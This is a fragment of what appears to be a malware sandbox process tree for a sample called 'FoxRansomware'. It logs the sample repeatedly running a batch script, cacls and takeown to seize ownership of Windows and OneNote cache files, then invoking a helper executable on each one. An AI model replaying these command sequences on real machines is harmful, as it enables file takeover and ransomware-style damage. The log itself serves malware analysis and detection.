    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\uk-UA\resource.xml" /E /G Admin:F /C
    3⤵
    PID:6064
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\uk-UA\resource.xml"
    3⤵
    PID:7044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:936
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7084
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:292
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json""
  2⤵
  PID:284
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json" /E /G Admin:F /C
    3⤵
    PID:5268
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json"
    3⤵
    - Modifies file permissions
    PID:7628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "utc.cert.json" -nobanner
    3⤵
    PID:272
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "utc.cert.json" -nobanner
      4⤵
      PID:8148
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7132
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""
  2⤵
  PID:8116
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C
    3⤵
    PID:8088
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"
    3⤵
    PID:8076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "background.png" -nobanner
    3⤵
    PID:6844
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "background.png" -nobanner
      4⤵
      PID:8068
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4488
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat""
  2⤵
  PID:8160
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat" /E /G Admin:F /C
    3⤵
    PID:7880
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "StorageHealthModel.dat" -nobanner
    3⤵
    PID:8020
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "StorageHealthModel.dat" -nobanner
      4⤵
      PID:8064
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:8124
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml""
  2⤵
  PID:7852
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml" /E /G Admin:F /C
    3⤵
    PID:7828
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml"
    3⤵
    PID:7796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner
    3⤵
    PID:7800
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner
      4⤵
      PID:7856
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:8056
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7704
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml" /E /G Admin:F /C
    3⤵
    PID:7700
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml"
    3⤵
    - Modifies file permissions
    PID:7676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner
    3⤵
    PID:7708
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner
      4⤵
      PID:7620
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7932
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml""
  2⤵
  PID:7864
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:436
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml"
    3⤵
    - Modifies file permissions
    PID:2608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "ThemeSettings2013.xml" -nobanner
    3⤵
    PID:7476
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "ThemeSettings2013.xml" -nobanner
      4⤵
      PID:7468
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7588
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""
  2⤵
  PID:7776
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C
    3⤵
    PID:7004
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"
    3⤵
    PID:7392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:7576
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7340
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7580
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7436
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C
    3⤵
    PID:6220
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"
    3⤵
    PID:6260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:7396
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7264
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7204
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json""
  2⤵
  PID:7296
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json" /E /G Admin:F /C
    3⤵
    PID:7280
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json"
    3⤵
    - Modifies file permissions
    PID:7320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner
    3⤵
    PID:7276
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner
      4⤵
      PID:7240
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7248
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs""
  2⤵
  PID:5368
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs" /E /G Admin:F /C
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs"
    3⤵
    - Modifies file permissions
    PID:5536
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edbres00001.jrs" -nobanner
    3⤵
    PID:7180
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edbres00001.jrs" -nobanner
      4⤵
      PID:4608
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5460
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml""
  2⤵
  PID:6876
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml" /E /G Admin:F /C
    3⤵
    PID:6436
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml"
    3⤵
    PID:6640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner
    3⤵
    PID:3632
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner
      4⤵
      PID:5168
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5840
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml""
  2⤵
  PID:5500
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml" /E /G Admin:F /C
    3⤵
    PID:2436
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml"
    3⤵
    PID:6128
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner
    3⤵
    PID:1028
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner
      4⤵
      PID:5568
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1912
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml""
  2⤵
  PID:768
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5544
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml"
    3⤵
    - Modifies file permissions
    PID:4620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner
    3⤵
    PID:6032
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner
      4⤵
      PID:5608
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6236
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin""
  2⤵
  PID:2416
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin" /E /G Admin:F /C
    3⤵
    PID:5468
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000005.bin"
    3⤵
    PID:996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000005.bin" -nobanner
    3⤵
    PID:1896
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000005.bin" -nobanner
      4⤵
      PID:5384
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4892
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000I.bin""
  2⤵
  PID:5908
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000I.bin" /E /G Admin:F /C
    3⤵
    PID:1960
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000I.bin"
    3⤵
    PID:2616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000I.bin" -nobanner
    3⤵
    PID:3356
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000I.bin" -nobanner
      4⤵
      PID:5724
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5736
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000T.bin""
  2⤵
  PID:5764
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000T.bin" /E /G Admin:F /C
    3⤵
    PID:1900
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000T.bin"
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000T.bin" -nobanner
    3⤵
    PID:208
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000T.bin" -nobanner
      4⤵
      PID:1208
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5660
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000017.bin""
  2⤵
  PID:5996
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000017.bin" /E /G Admin:F /C
    3⤵
    PID:5740
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000017.bin"
    3⤵
    - Modifies file permissions
    PID:6132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000017.bin" -nobanner
    3⤵
    PID:4612
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000017.bin" -nobanner
      4⤵
      PID:2612
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5516
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006J.bin""
  2⤵
  PID:4176
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006J.bin" /E /G Admin:F /C
    3⤵
    PID:5312
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006J.bin"
    3⤵
    PID:32
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000006J.bin" -nobanner
    3⤵
    PID:5472
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000006J.bin" -nobanner
      4⤵
      PID:5884
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6040
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007R.bin""
  2⤵
  PID:6096
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007R.bin" /E /G Admin:F /C
    3⤵
    PID:64
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007R.bin"
    3⤵
    PID:5328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000007R.bin" -nobanner
    3⤵
    PID:5872
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000007R.bin" -nobanner
      4⤵
      PID:3932
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5896
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000085.bin""
  2⤵
  PID:6800
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000085.bin" /E /G Admin:F /C
    3⤵
    PID:5488
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000085.bin"
    3⤵
    PID:5688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000085.bin" -nobanner
    3⤵
    PID:5984
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000085.bin" -nobanner
      4⤵
      PID:6304
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3724
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008R.bin""
  2⤵
  PID:6332
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008R.bin" /E /G Admin:F /C
    3⤵
    PID:2884
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008R.bin"
    3⤵
    - Modifies file permissions
    PID:6360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000008R.bin" -nobanner
    3⤵
    PID:7332
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000008R.bin" -nobanner
      4⤵
      PID:4044
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6544
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009H.bin""
  2⤵
  PID:7328
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009H.bin" /E /G Admin:F /C
    3⤵
    PID:6556
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009H.bin"
    3⤵
    PID:6524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000009H.bin" -nobanner
    3⤵
    PID:6924
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000009H.bin" -nobanner
      4⤵
      PID:6216
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3188
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AD.bin""
  2⤵
  PID:6376
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AD.bin" /E /G Admin:F /C
    3⤵
    PID:6532
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AD.bin"
    3⤵
    PID:7500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000AD.bin" -nobanner
    3⤵
    PID:5716
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000AD.bin" -nobanner
      4⤵
      PID:6520
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7564
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AN.bin""
  2⤵
  PID:6956
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AN.bin" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7012
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AN.bin"
    3⤵
    - Modifies file permissions
    PID:6576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000AN.bin" -nobanner
    3⤵
    PID:6584
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000AN.bin" -nobanner
      4⤵
      PID:6440
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:840
